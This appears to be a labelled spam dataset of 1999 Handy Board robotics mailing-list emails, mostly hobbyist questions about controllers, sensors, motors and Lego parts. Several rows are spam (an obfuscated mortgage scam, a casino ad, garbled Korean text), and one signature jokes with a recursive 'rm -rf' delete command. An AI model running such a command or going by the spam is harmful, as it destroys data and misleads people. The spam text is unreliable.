few examples of this but no useful detail or information. How does the laptop control motors and read sensors? What is the best interface? The serial port? A fast modem to a microcontroller? A network card? Are there products out there that cater specifically to this type of application? What would be the right software? (Hopefully a ""C"" derivative as I'm not quite ready to try and tackle a new programming language). Would an older 486PC work with about the same functionality as a newer Pentium? (I might be able to get an old laptop extremely cheaply through my work). I've seen Zagros(?) robotics platforms out there with a laptop on top, are there any other companies with large prototyping bases that I can use for ideas, if not to actually by the kit? What types of electronics besides motor controllers would be necessary with the laptop as the only ""brain""? Why aren't there more examples of laptop autonomous robots out there? Is it inherently an inefficient setup? Is it just the costs of laptops (I doubt this as the older ones are getting REALLY cheap)? Ar the technical difficulties too much for only a modest payoff? It would appear to me that a laptop could offer some huge benefits such as large data storage, much faster processing speed, possibly easier programming and maybe greater I/O capability (not too sure about this one). Thanks to all of you undergrads, MBAs and engineers out there. I, an unschooled technical moron, thank you very much for your input. ",0,0 Tamara Lackner ,play99,"Wed, 10 Mar 1999 11:21:11 -0500",musical puzzle and cartoon kit,"here's a recap of my two ideas. anyone wanting to join in is welcome... Musical Puzzle the first version is already finished. what i would like to do is add some more functionality to it. perhaps put some LED's in the note landscape so that as each note plays the landscape lights up (a la ""close encounters...""). there are numerous other things that can be done to make this into a really great toy. i think the premise is simple and good, it just needs some refinement. Cartoon Kit create a storyboard with magnetic characters, scenes, behaviors, music score, and narration all done by the kids. have the combined storyboard cue up video that portrays the ""finished product"". allow for collaboratively creating and editing of stories. tammy ~~~~~~~~~~~~~~~~~~~~~~~~~~ tamara m lackner mit media lab ph: 617 253 1401 http://www.media.mit.edu/~tlackner ",0,1 Tamara Lackner ,play99,"Wed, 10 Mar 1999 11:24:25 -0500",RE: musical puzzle and cartoon kit,"i'll be out of town from the 15th through the 26th, so if you're interested in either of the ideas, please email. thanks, tammy ~~~~~~~~~~~~~~~~~~~~~~~~~~ tamara m lackner mit media lab ph: 617 253 1401 http://www.media.mit.edu/~tlackner ",0,1 """Olson, Shan (PBMS-SOlson)"" ",handyboard@media.mit.edu,"Wed, 10 Mar 1999 08:35:57 -0800",RE: Memory peripheral device,"I too would really like to use a Mini Hard-Drive on my Handy Board robot. http://www.storage.ibm.com/hardsoft/diskdrdl/library/micro/whitepap/whitepap .htm Camera's and Mobile Phone use micro-controllers, don't they? Can a HC11 write/access data to/from HD sectors? If anyone out there has any idea's or info, be sure and let us know. Muchas Gracias, Shan O. > ---------- > From: Stefano Falconetti[SMTP:falconetti@sigma.it] > Sent: March 10, 1999 02:07 > To: handyboard@media.mit.edu > Subject: Memory peripheral device > > I,m trying to give to my 68hc11 board a memory mass storage device, like a > floppy reader, or a disk, or a disk on chip, or a PCMCIA memory card > interface, I found a way but I'd like to know if someone of you > did something like this before me. > > Thanks a lot > > > Stefano Falconetti > ",0,1 """Paul E. Rybski"" ",Thomas Hauri ,"Wed, 10 Mar 1999 10:48:51 -0600",Re: Vision on the Handy Board?,"On Wed, 10 Mar 1999, Thomas Hauri wrote: > we are using a NewtonLabs cognachrome system on one of our model cars. > The car is equiped with a Handyboard, a cognachrom system, a camera, > and a couple of RS232 to CAN converters. I have a question for you guys. Why are you using the Handyboard to control the car? The SBC332 board on the cognachrome system is a very powerful microcontroller and is fully capable of handling the actuators on your car. As an example, check out Newton Labs' page where they describe ""The Fast Vision Car"" . I had a chance to actually play with this thing in Portland at AAAI '96. The cognachome system seemed to be the only micro on it and it drove that car extremely well. Anne Wright (of Newton labs) said that when the cognachrome system was first being built at MIT, they had it hooked up to a legged walking robot which tracked light sources. The TPU on the 68332 is able to control multiple servos and RC motor speed controllers (like the Blast! Duratrax Mosfet motor driver). Newton labs supplies sample code for stand-alone applications like this. One such code snippit is for a 2dof servo-controlled camera head which tracks a bright orange fish swimming around in a fishtank. > Attaching a camera directly to the handyboard (using some sort of > framegrabber) would ask too much of the 6811 I think althoough I have > never tried it. I haven't heard of anyone hooking a camera to a handyboard, but we did have a guy in our lab build his own 6811-based microcontrollers and hook a grayscale camera up to one of them. There's not much documentation left from this project, but the URL is: http://www.cs.umn.edu/research/airvl/walleye/ Walleye had three 6811-based microcontroller boards on it. One was the frame grabber board which shared its 32K RAM chip with the camera. When it wanted to grab a frame, the micro would go into a wait loop, running code in either EEPROM or buffalo ROM (I can't remember now) until the camera finished dumping the image into memory. Then, it would run routines written in assembly (using the GNU gcc-based 6811 cross compiler) to do simple object and shape recognition. It was fast enough to track a black squiggle ball at around 10Hz, which was pretty cool. There was also code written to recognize paper with the letter ""T"" and ""O"" on them. A specialized high-current driver 6811 board was used for driving the motors and the big gripper and a third was the ""master"" board which was used for communications to the outside world and controlled the other two. Communications was achieved through the SPI bus. A writeup was published in the special vision issue of the Robotics Practitioner, Spring 1996. Vol 2, Number #2. -Paul --- Paul E. Rybski --- http://www.cs.umn.edu/~rybski",0,1 Stefano Falconetti ,"""Olson, Shan (PBMS-SOlson)"" , handyboard@media.mit.edu","Wed, 10 Mar 1999 18:06:05 +0100",Re: Memory peripheral device,"Great ! I thought no one could have done or imagined something like. The problem, I belive, is that no massive memory storage device (massive: about 1Mb or 2, or 512 KB ...) has an input that can be interfaced with the handyboard or with another 68hc11 boards. Meanwhile, where can I find the pinout of such a standard device like a floppy ? And then, can the board drive all the memory of the new device ? And if I have a BUS on my board ? ---------- > From: Olson, Shan (PBMS-SOlson) > To: handyboard@media.mit.edu > Subject: RE: Memory peripheral device > Date: 10 March 1999 17:35 > > I too would really like to use a Mini Hard-Drive on my Handy Board robot. > http://www.storage.ibm.com/hardsoft/diskdrdl/library/micro/whitepap/whitepap > .htm > Camera's and Mobile Phone use micro-controllers, don't they? > Can a HC11 write/access data to/from HD sectors? > > If anyone out there has any idea's or info, be sure and let us know. > > Muchas Gracias, > Shan O. > > > ---------- > > From: Stefano Falconetti[SMTP:falconetti@sigma.it] > > Sent: March 10, 1999 02:07 > > To: handyboard@media.mit.edu > > Subject: Memory peripheral device > > > > I,m trying to give to my 68hc11 board a memory mass storage device, like a > > floppy reader, or a disk, or a disk on chip, or a PCMCIA memory card > > interface, I found a way but I'd like to know if someone of you > > did something like this before me. > > > > Thanks a lot > > > > > > Stefano Falconetti > >",0,1 Grergory Hayward ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 09:14:26 -0600",Re: crystals and voltage monitors,"You can order these parts in small QTY from Dallas. Their web page has all the information. I just did this and the cost was $1.50 each for 10 and $8.50 for next day delivery. > >DS1233-10 Allied Part No: 671-0125 but they want a $25.00 minimum >purchase. Not a $50.00 minimum. I order from them consistently for over >and under $50.00 and they never charge a minimum handling fee unless >your order is under $25.00. > >Sterling Electronics has them in stock. Go to the Sterling site and >click on ""Contact Us"" to find out your local Sterling distributor then >e-mail them. > >Newark Part No: 06F4319 and the cost for this DS1233-10 is $1.42 > >Good Luck and enjoy > >Donald F. Reuter > ",0,0 Joan Gossett ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 05:54:11 -0700",Re: favaw news,"Dea g r Home O y wne d r , Your cr h ed c it doesn't matter to us ! If you O m WN real e d st o at t e and want I c MME z DIA t TE cas l h to s c pen d d ANY way you like, or simply wish to LO i WER your monthly pa v ym q ents by a third or more, here are the dea x ls we have T u ODA k Y : $ 4 f 88 , 000 at a 3 m , 67% fi g xed - ra v te $ 37 c 2 , 000 at a 3 , 9 c 0% va x ria a ble - ra c te $ 4 b 92 , 000 at a 3 , 2 c 1% in h teres x t - only $ 2 l 48 , 000 at a 3 , 3 b 6% f t ixed - rat g e $ 19 x 8 , 000 at a 3 , u 55% variabl e e - ra r te Hurr l y, when these d v eaIs are gone, they are gone ! Don't worry about app a ro n val, your cr e ed z it will not dis t qualif t y you ! V l isi v t our si d te Sincerely, Joan Gossett A i ppro i val Manager",1,1 Junby Samonte <09414797@mail4.dlsu.edu.ph>,handyboard@media.mit.edu,"Thu, 11 Mar 1999 02:03:40 +0800",unknown HB messages,"Hi. Have any of you guys out there had experienced getting a MEMORY FAULT message from the HB or getting garbled displays ? I really hope someone could tell me what this means and what should I do about it. Thanks in advance. F. Samonte ",0,0 Tom Brusehaver ,rkelly@firstunion-reit.com,"Wed, 10 Mar 1999 12:03:02 -0600",Re: Off the subject question...," >I was thinking though that it might be interesting to know if a laptop can >be used (without permanent modification) as a controller for a robot. I have >seen a few examples of this but no useful detail or information. Yes it can. >How does the laptop control motors and read sensors? Well, without modification, the parallel port can probably do a lot of what you need, although, there are only 8 (12) bits for you to use. A separate processor could communicate through a serial port, and do some of the same things. There are PCMCIA cards with more IO pins. >Are there products out there that cater specifically to this type of >application? Sure there are lots of parallel port things, and the handyboard can talk serially to any other computer. >What would be the right software? (Hopefully a ""C"" derivative as I'm not >quite ready to try and tackle a new programming language). Whatever language you want. You could even modify lib_hb.asm to run on a PC, and use IC just the same. >Would an older 486PC work with about the same functionality as a newer >Pentium? (I might be able to get an old laptop extremely cheaply through my >work). What's your goal? If you want a cheap PC just for robotics, then yup, the 486 will do just fine. If you want the best most top of the line PC to do vision, and speech processing while mowing your lawn, then you might need more than a 486 :-). I don't know how complex your application is, but a 8bit micro (like the hc11) isn't working very hard running most small robots. Once you get into vision, and more advanced processing, you need more powerful CPU's usually only for the larger memory (32bit address bus). >What types of electronics besides motor controllers would be necessary with >the laptop as the only ""brain""? Some kind of motor controllers, various sensors and interfaces. Also, probably some kind of power distribution (are you going to run your motors and sensors off of the laptop battery? can you buy a battery for the robot that will power the PC also?). >Why aren't there more examples of laptop autonomous robots out there? Is it >inherently an inefficient setup? Is it just the costs of laptops (I doubt >this as the older ones are getting REALLY cheap)? Ar the technical >difficulties too much for only a modest payoff? It would appear to me that a >laptop could offer some huge benefits such as large data storage, much >faster processing speed, possibly easier programming and maybe greater I/O >capability (not too sure about this one). What's your goal, and how does a laptop meet that goal? Laptops are more fragile than a handyboard. Mount a laptop on you mobile robot, and drive the robot around near a stairway. They handyboard will probably survive; the laptop will probably have a busted screen, and the harddrive may have a few dings in the platters. You have less IO from a stock PC than the handyboard. Batteries will dictate some additional limitations. Most Laptops that are cheap have weak batteries, and will last only a short time. Then you'll need a teather to power the laptop while developing things. Look at picking a computer as picking a hammer. It is only a tool. If you only have a cheap claw hammer (nice general purpose) you can do many jobs, some better than others. Decide what kind of project are you gonna build, and pick the best hammer for the job. good luck with whatever you decide. ",0,0 rmtmd ,"Junby Samonte <09414797@mail4.dlsu.edu.ph>, handyboard@media.mit.edu","Wed, 10 Mar 1999 10:56:40 -0800",Re: unknown HB messages,"I had the same problem. I tried everything, even replacing the CMOS memory chip, to no avail. Since my board was purchased assembled from Gleason, I ultimately swapped them for a replacement which has been working perfectly. I don't know whether they examined the defective unit after I returned it, but you might contact Wanda Gleason, and find out. I hope she won't mind my offering her assistance without checking with her first, that is, unless you, too purchased the board from Gleason Research. Her email address is wmg@gleasonresearch.com Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX Junby Samonte >Hi. > >Have any of you guys out there had experienced getting a MEMORY FAULT >message from the HB or getting garbled displays ? I really hope someone >could tell me what this means and what should I do about it. Thanks in >advance. > > > >F. Samonte > > RMT ",0,0 Phil ,"""Olson, Shan (PBMS-SOlson)"" ","Wed, 10 Mar 1999 13:16:22 -0600",RE: Memory peripheral device," On Wed, 10 Mar 1999, Olson, Shan (PBMS-SOlson) wrote: > I too would really like to use a Mini Hard-Drive on my Handy Board robot. > http://www.storage.ibm.com/hardsoft/diskdrdl/library/micro/whitepap/whitepap > .htm > Camera's and Mobile Phone use micro-controllers, don't they? > Can a HC11 write/access data to/from HD sectors? > Sure it can, provided: -you can get the voltage output to be in a respectable range for the HDD (solved by changing battery power to output chips) -you can write a driver using the necessary digital inputs/outputs as necessary (hard but doable) --phil > If anyone out there has any idea's or info, be sure and let us know. > > Muchas Gracias, > Shan O. > > > ---------- > > From: Stefano Falconetti[SMTP:falconetti@sigma.it] > > Sent: March 10, 1999 02:07 > > To: handyboard@media.mit.edu > > Subject: Memory peripheral device > > > > I,m trying to give to my 68hc11 board a memory mass storage device, like a > > floppy reader, or a disk, or a disk on chip, or a PCMCIA memory card > > interface, I found a way but I'd like to know if someone of you > > did something like this before me. > > > > Thanks a lot > > > > > > Stefano Falconetti > > > ",0,1 Phil ,tgb@wamnet.com,"Wed, 10 Mar 1999 13:23:46 -0600",Re: Off the subject question...,"Ja, a laptop would work. Even better, cheaper, why not use a good old desktop coputer? Then you could just have the components you need, IE a motherboard, a removeable video card, sound card, the amount of memory you like, etc. Best of all, the HDD's are much cheaper and much more drop-resistant that a laptop. Some of the newer drives boast being able to accelerate to 70g's without any damage to the drive. You could pull the motherboard out of the case too... add several parallel port cards, the computer can adress more than one. Add a few serial cards, and a computer-run video camera, etc. It should wind up a *LOT* cheaper than any laptop out there, and you don't have an expensive LCD screen to bust (just hook a monitor up to the Motherboard whil eprogramming it, detatch it while the 'bot is running. Need something to monitor the computer? Interface a 20x4 screen to the serial port....) --phil On Wed, 10 Mar 1999, Tom Brusehaver wrote: > > >I was thinking though that it might be interesting to know if a laptop can > >be used (without permanent modification) as a controller for a robot. I have > >seen a few examples of this but no useful detail or information. > > Yes it can. > > >How does the laptop control motors and read sensors? > > Well, without modification, the parallel port can probably do a lot of > what you need, although, there are only 8 (12) bits for you to use. A > separate processor could communicate through a serial port, and do > some of the same things. > > There are PCMCIA cards with more IO pins. > > >Are there products out there that cater specifically to this type of > >application? > > Sure there are lots of parallel port things, and the handyboard can > talk serially to any other computer. > > >What would be the right software? (Hopefully a ""C"" derivative as I'm not > >quite ready to try and tackle a new programming language). > > Whatever language you want. You could even modify lib_hb.asm to run on > a PC, and use IC just the same. > > >Would an older 486PC work with about the same functionality as a newer > >Pentium? (I might be able to get an old laptop extremely cheaply through my > >work). > > What's your goal? If you want a cheap PC just for robotics, then yup, > the 486 will do just fine. If you want the best most top of the line > PC to do vision, and speech processing while mowing your lawn, then > you might need more than a 486 :-). > > I don't know how complex your application is, but a 8bit micro (like > the hc11) isn't working very hard running most small robots. > > Once you get into vision, and more advanced processing, you need more > powerful CPU's usually only for the larger memory (32bit address > bus). > > > >What types of electronics besides motor controllers would be necessary with > >the laptop as the only ""brain""? > > Some kind of motor controllers, various sensors and interfaces. Also, > probably some kind of power distribution (are you going to run your > motors and sensors off of the laptop battery? can you buy a battery > for the robot that will power the PC also?). > > >Why aren't there more examples of laptop autonomous robots out there? Is it > >inherently an inefficient setup? Is it just the costs of laptops (I doubt > >this as the older ones are getting REALLY cheap)? Ar the technical > >difficulties too much for only a modest payoff? It would appear to me that a > >laptop could offer some huge benefits such as large data storage, much > >faster processing speed, possibly easier programming and maybe greater I/O > >capability (not too sure about this one). > > What's your goal, and how does a laptop meet that goal? Laptops are > more fragile than a handyboard. Mount a laptop on you mobile robot, > and drive the robot around near a stairway. They handyboard will > probably survive; the laptop will probably have a busted screen, and > the harddrive may have a few dings in the platters. > > You have less IO from a stock PC than the handyboard. > > Batteries will dictate some additional limitations. Most Laptops that > are cheap have weak batteries, and will last only a short time. Then > you'll need a teather to power the laptop while developing things. > > > Look at picking a computer as picking a hammer. It is only a tool. If > you only have a cheap claw hammer (nice general purpose) you can do > many jobs, some better than others. Decide what kind of project are > you gonna build, and pick the best hammer for the job. > > > good luck with whatever you decide. > ",0,0 �� ���� ,handyboard@media.mit.edu,"Thu, 19 Nov 1931 19:26:21 +0000",�ſ븸���� ������ �ְ��ݾ� �����Ա޵˴ϴ� ����Ÿ��,���������� �������� ������  ������   ��������   �� ��  ������ ���� ��   ���������� ���� �������� ����   ������ �������� ���� �������� ����   ������ ������ ������������,1,1 Chen Yung Hsu ,Bill Denzel ,"Wed, 10 Mar 1999 15:24:49 -0500",Re: Vision on the Handy Board?,"I would like to also know about this. Please email me if you have info! thanx =) chen On Tue, 9 Mar 1999, Bill Denzel wrote: > Has anyone tried to connect some sort of a camera to the HB? Would I be > asking too much of the 6811 processor to do some simple pattern recognition? > I was just curious to what extent I could push my board to. Thanks for any > info! > > Bill Denzel > > Senior Mechatronics Student > California Polytechnic State University > San Luis Obispo > > ",0,0 �� ���� ,handyboard@media.mit.edu,"Wed, 18 Nov 1931 07:47:08 +0000",������ �Ҹ��ص� �ѽð��ȿ� ���·��Ա� ��������,�� �� �� �� �� �� ���� ����   �� �� �� �� �� �� �� �� �� ��   �� �� �� 3 6 �� �� �� ��.   �� �� �� �� �� �� �� 1 0 0 % �� ��.    ���� ������ �� �� �� ����������,1,1 Carlos Puchol ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 14:38:38 -0800",pointers to functions,"is it possible (with some trick) to pass a pointer to a function in interactive C? more specifically, on the free version of interactive c? i have tried, but it always gets me the error that i am tring to use a in an expression. (in reality the pointer to the function is the result of using a function name in the context of an expression). i rather not modify the original sources. if anyone has any suggestions, i'd appreciate much. thanks, --carlos _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com",0,1 Dan Overholt ,play99@media.mit.edu,"Wed, 10 Mar 1999 19:32:30 -0500",Acoustic Construction kit,"Anyone who wants to join is welcome... My idea is to provide kids with materials to build their own musical instruments, which can be played using techniques borrowed from various percussion instruments, the didgeridoo (an Australian wind instrument -- see http://www.dcs.shef.ac.uk/~guy/yidaki.html), and many others. Sounds may also be generated electronically with a small speaker and modified by the player's actions. This would allow kids to create their own music by connecting varying lengths of tubing that slide inside each other (for different resonances, echo effects, or a ""talk-box"" effect), as well as giving them control over the electronics. For example, a small microphone could pick up a kid's voice, modify it, and send it to a speaker(s) that is part of the instrument. I already have most of the supplies I will need to do this project, so now comes the fun part (coming up with ideas for things to construct)! Also, I will likely be helping Saul with the musical kites (and I thought Jason's musical jungle gym was interesting as well..) I will be traveling from the 15th until the 28th, so unfortunately I will not be in class next week. Please send me email if you have any questions! .-. .-. / \\ .-. .-. / \\ / \\ / \\ .-. .-. / \\ / \\ /DAN-OVERHOLT---/-----\\-----/---\\---/---\\-----/-----\\-------/-------\\ \\ / \\ / `-' \\ / \\ / \\ / `-' `-' \\ / `-' `-' Research Assistant MIT Media Lab 20 Ames Street E15-492 Cambridge, MA 02139 617.253.9306 dano@media.mit.edu ",0,1 CHOI DAMEE ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 21:03:02 -0500",DC motor with encoders,"Does anyone know where we can find DC motors with optical encoders? possible low voltage ones (around 12 volts...) Thank you for any information :) ",0,0 Matt Grob ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 18:12:27 -0800",Creating multiple serial outputs with the HB expansion board," I would like to create multiple serial outputs (like 3 or 4) using the digital outputs on the handyboard expansion board. The purpose is to drive an external servo controller and external motor controllers (motorminds) which can handle more load than the handyboard's drive can. 2400bps operation would work fine. Questions: -has anyone tried this - is there any fundamental reason why it couldnt be done? -any code available? (some mod of the Pa7_9600 code?) thanks for any info, Matt Grob QUALCOMM, Inc ",0,0 Carlos Fernandez ,CHOI DAMEE ,"Wed, 10 Mar 1999 22:33:29 -0500",Re: DC motor with encoders,"You can get all type of motors from Surplus Center their number is 800-488-3407. -----Original Message----- From: CHOI DAMEE To: handyboard@media.mit.edu Date: Wednesday, March 10, 1999 9:34 PM Subject: DC motor with encoders >Does anyone know where we can find DC motors with optical encoders? >possible low voltage ones (around 12 volts...) >Thank you for any information :) > >",0,0 """K.L.McKinnon"" ",Matt Grob ,"Wed, 10 Mar 1999 22:25:12 -0500",Re: Creating multiple serial outputs with the HB expansion board,"Have you considered (not sure about the full requirements) but designing a secondary expansion board with serial controllers instead of the expansion headers?? Just an idea, but the Motorola version of the serial processor (6850?) should be a good choice. Would be an interesting project with a fair amount of interest. K.L. McKinnon Matt Grob wrote: > > I would like to create multiple serial outputs (like 3 or 4) using the > digital outputs on the handyboard expansion board. The purpose is to > drive an external servo controller and external motor controllers > (motorminds) which can handle more load than the handyboard's drive can. > 2400bps operation would work fine. > > Questions: > > -has anyone tried this - is there any fundamental reason why it couldnt be > done? > > -any code available? (some mod of the Pa7_9600 code?) > > thanks for any info, > > Matt Grob > QUALCOMM, Inc ",0,0 Matt Grob ,"""K.L.McKinnon"" ","Wed, 10 Mar 1999 20:40:08 -0800",Re: Creating multiple serial outputs with the HB expansion board," I have considered something like that and it sure would work but I was hoping to find a s/w based solution that didn't require changing the h/w. I only need outputs, 2400bps, and I dont need any of the more functional aspects of typical serial parts (like hw flow control). There are so many servo and motor controller gadgets in use now that I find having several serial outputs to be desirable. Matt On Wed, 10 Mar 1999, K.L.McKinnon wrote: > Have you considered (not sure about the full requirements) but designing > a secondary expansion board with serial controllers instead of the > expansion headers?? > Just an idea, but the Motorola version of the serial processor (6850?) > should be a good choice. > Would be an interesting project with a fair amount of interest. > > K.L. McKinnon > > Matt Grob wrote: > > > > I would like to create multiple serial outputs (like 3 or 4) using the > > digital outputs on the handyboard expansion board. The purpose is to > > drive an external servo controller and external motor controllers > > (motorminds) which can handle more load than the handyboard's drive can. > > 2400bps operation would work fine. > > > > Questions: > > > > -has anyone tried this - is there any fundamental reason why it couldnt be > > done? > > > > -any code available? (some mod of the Pa7_9600 code?) > > > > thanks for any info, > > > > Matt Grob > > QUALCOMM, Inc > ",0,0 Alf Hendrik Kuchenbuch ,"""handyboard@media.mit.edu"" ","Thu, 11 Mar 1999 08:46:08 +0100",How big is our community?,"Hi Fred, Maybe this is a little off topic, but it's still interesting, I guess: How many people are on your HB mailing list? How big is our community? Alf ",0,0 David Kott ,Stefano Falconetti ,"Wed, 10 Mar 1999 21:23:59 -0500",Re: Rs422/485 to RS 232 interface,"On Tue, 9 Mar 1999, Stefano Falconetti wrote: > > > Does anyone can suggest me where to find a simple scheme of an interface > from Rs422/485 to RS 232 ? > I know that a lot of them are on the web, but where exactly ? > We buy them from B&B. However, my link isn't up right now and I can't check the URL. Try www.bandb.com. I know that www.obdii.com links to their site. -d I use Unix because reboots are for hardware upgrades... You use Windows because some snappy commercial on TV told you to. # rsh -l God universe.all find / -name '*windows*' -exec rm -rf {} \\; ",0,0 Stefano Falconetti ,David Kott ,"Thu, 11 Mar 1999 08:57:14 +0100",Re: Rs422/485 to RS 232 interface,"Thanks a lot, I had only one rs232 and I used to interface a display. I'll ceck the link to search it. Stefano ---------- > From: David Kott > To: Stefano Falconetti > Cc: handyboard@media.mit.edu > Subject: Re: Rs422/485 to RS 232 interface > Date: 11 March 1999 03:23 > > On Tue, 9 Mar 1999, Stefano Falconetti wrote: > > > > > > > Does anyone can suggest me where to find a simple scheme of an interface > > from Rs422/485 to RS 232 ? > > I know that a lot of them are on the web, but where exactly ? > > > > > We buy them from B&B. However, my link isn't up right now and I can't > check the URL. Try www.bandb.com. I know that www.obdii.com links to > their site. > > -d > I use Unix because reboots are for hardware upgrades... > You use Windows because some snappy commercial on TV told you to. > # rsh -l God universe.all find / -name '*windows*' -exec rm -rf {} \\;",0,0 Thomas Hauri ,CHOI DAMEE ,"Thu, 11 Mar 1999 09:03:08 +0100",Re: DC motor with encoders,"Hi ever heard of Maxon Motors (the one that supplied the Pathfinder on Mars with motors). They have hi quality low voltage motors. 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Lotsa cool goodies. shan o > ---------- > From: Thomas Hauri[SMTP:har@zhwin.ch] > Sent: Thursday, March 11, 1999 12:03 AM > To: CHOI DAMEE > Cc: handyboard@media.mit.edu > Subject: Re: DC motor with encoders > > Hi > ever heard of Maxon Motors (the one that supplied the Pathfinder on Mars > with motors). They have hi quality low voltage motors. We are using them > here. They have opticel encoders (HP) directly mounted. Price arouonf > $120 for a 15W motor incl. coder. > > check http://www.maxon.ch/ > > > > CHOI DAMEE wrote: > > > Does anyone know where we can find DC motors with optical encoders? > > possible low voltage ones (around 12 volts...) > > Thank you for any information :) > > -- > Thomas Hauri > ZHW Zuercher Hochschule Winterthur > University of applied sciences > Technikumstr.9 /PF > CH-8401 Winterthur > Switzerland > > Phone : +41 52 267 74 79 > Fax : +41 52 268 74 79 > Mail : har@zhwin.ch > HP : http://www.zhwin.ch > > ",0,1 edmund ,HandyBoard ,"Thu, 11 Mar 1999 23:31:24 -0800",Sensors," hi i'm trying to find a cheap and reliable infra-red digital sensor with a sensing range of around 0-30cm. does anyone have any recommendations? are there any online stores that sell a wide variety of such sensors? btw, the sharp GP2D05/02 sensors have a sensing range of 10-80cm. what happens if the obstacle is less than 10 cm or more than 80cm away from the sensors? ~edmund ",0,0 Mike Howard ,edmund ,"Thu, 11 Mar 1999 08:37:37 -0800",Re: Sensors," Hi We just built a IR detection with a Radio Shack IR LED and their Sharp detector GD1U..whatever....cost a few dollars. Basically detects anything within about 60 cm, depending on what surface you are reflecting off of. We found that we had to shield the detector from direct emission from the LED with Aluminum foil..You can adjust the sensitivity by looking at the detector count rate. Also the detector has to be hooked up to port 7 (I am not sure why ). Works great and very easy to set up. Mike Howard On Thu, 11 Mar 1999, edmund wrote: > > hi > > i'm trying to find a cheap and reliable infra-red digital sensor with > a sensing range of around 0-30cm. does anyone have any recommendations? > are there any online stores that sell a wide variety of such sensors? > > btw, the sharp GP2D05/02 sensors have a sensing range of 10-80cm. what > happens if the obstacle is less than 10 cm or more than 80cm away from > the sensors? > > > ~edmund > ",0,0 gametime@wowscream.com,HANDYBOARD@MEDIA.MIT.EDU,"Thu, 11 Mar 1999 02:24:43 +0000","Grab your 10 in chips, no purchase required!","Attention: This is an Advertisement. ******************** Desert Dollar Casino ******************** Get a $100 Free Bonus at Desert Dollar http://www.wowscream.com/webtracer/bin/redirect.pl?refer=DDtext&cd=ws&ec=QlJVQ0VHQEVNLkNB Sign up with Desert Dollar and you'll receive $10 instantly... Spend up to $60, and we'll give you up to another $90. That's a 150% Match. Sign up and Start Winning! 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",0,0 Steve Chamberlin ,handyboard@media.mit.edu,"Sat, 13 Mar 1999 18:08:57 -0800",Good source for Lego Technic parts?,"Somewhat off topic: I'm looking for a good source of basic Lego Technic parts (beams, gears, axles, etc.) for robot construction. I'm not really interested in particular kits with specialized parts like the motorcycle, forklift, and such-- I just want a good assortment of Technic gears and parts. What's a good place to find this stuff? I checked etoys.com and toysrus.com, but both had very limited selections of Lego Technic sets. I also checked out Pitsco, which is mentioned on the Handy Board web site, but they don't appear to have a general Technic starter set either. If anyone knows of a good source for these parts, or the Lego kit number of a good starter set, please let me know. Thanks! --Steve ",0,0 Your Name ,Steve Chamberlin ,"Sat, 13 Mar 1999 23:27:25 -0500",Re: Good source for Lego Technic parts?,"Steve: I bought a kit of parts from Lego to build the first robot mentioned in the mobile robot book by Jones and Flynn. I don't remember the kit number but I purchased the kit from the Lego Dacta division. You might try calling them to get a catalogue. The number give for Customer Support is 1-800-527-8339. Jerry Steve Chamberlin wrote: > > Somewhat off topic: > > I'm looking for a good source of basic Lego Technic parts (beams, gears, > axles, etc.) for robot construction. I'm not really interested in > particular kits with specialized parts like the motorcycle, forklift, and > such-- I just want a good assortment of Technic gears and parts. What's a > good place to find this stuff? > > I checked etoys.com and toysrus.com, but both had very limited selections > of Lego Technic sets. I also checked out Pitsco, which is mentioned on the > Handy Board web site, but they don't appear to have a general Technic > starter set either. > > If anyone knows of a good source for these parts, or the Lego kit number of > a good starter set, please let me know. > > Thanks! > --Steve ",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 13 Mar 1999 22:04:49 -0700",Re: Good source for Lego Technic parts?,"Steve Chamberlin wrote: > I'm looking for a good source of basic Lego Technic parts (beams, gears, > axles, etc.) for robot construction. > If anyone knows of a good source for these parts, or the Lego kit number of > a good starter set, please let me know. The best, cheapest place to get Lego Technic accessory parts is Lego Shop-At-Home, 1-800-453-4652. Ask 'em to send you a free catalog. In the back of each issue are a couple of pages showing all the miscellaneous motors, pulleys, gears, etc. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's a fine line between fishing and Will Bain, just standing on the shore like an idiot. & Tatoosh --Steven Wright",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sat, 13 Mar 1999 22:04:40 -0800",Source for Sharp GP1U581Y ??,"Can someone please point me toward a source for the Sharp GP1U581Y IR detector? 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German Gentile ",0,0 Simon Schulz ,handyboard ,"Sun, 14 Mar 1999 17:34:06 +0100",Shaft-Encoders,"Hi, Does someone have a good and cheap source for optical shaft encoders (or only the encoder disks) ? thanks, Simon ",0,0 Michael N Rosenblatt ,Steve Chamberlin ,"Sun, 14 Mar 1999 12:53:53 -0500",Re: Good source for Lego Technic parts?," Hi Steve. one more suggestion for lego parts... Pitsco only advertises a limited number of part kits on their web site. Did you check out their Dacta catalog? In the back there are several pages of specific part kits (i.e. gears, individual motors, etc). The prices seem reasonable. If you call them (800-358-4983) be sure to request the Dacta catalog specifically, as they publish several different catalogs. good luck, Michael On Sat, 13 Mar 1999, Steve Chamberlin wrote: > Somewhat off topic: > > I'm looking for a good source of basic Lego Technic parts (beams, gears, > axles, etc.) for robot construction. I'm not really interested in > particular kits with specialized parts like the motorcycle, forklift, and > such-- I just want a good assortment of Technic gears and parts. What's a > good place to find this stuff? > > I checked etoys.com and toysrus.com, but both had very limited selections > of Lego Technic sets. I also checked out Pitsco, which is mentioned on the > Handy Board web site, but they don't appear to have a general Technic > starter set either. > > If anyone knows of a good source for these parts, or the Lego kit number of > a good starter set, please let me know. > > Thanks! > --Steve > ",0,0 Max Davies ,Simon Schulz ,"Sun, 14 Mar 1999 13:53:58 -0500",Re: Shaft-Encoders,"Simon Schulz wrote: > Hi, > > Does someone have a good and cheap source for > optical shaft encoders (or only the encoder disks) ? > > thanks, > Simon An old broken mouse is an excellent source for stuff like that. Perhaps even buying a new really really cheap one makes sense, just so you can scavenge it's parts. Just open one up to see. ",0,0 Huntington 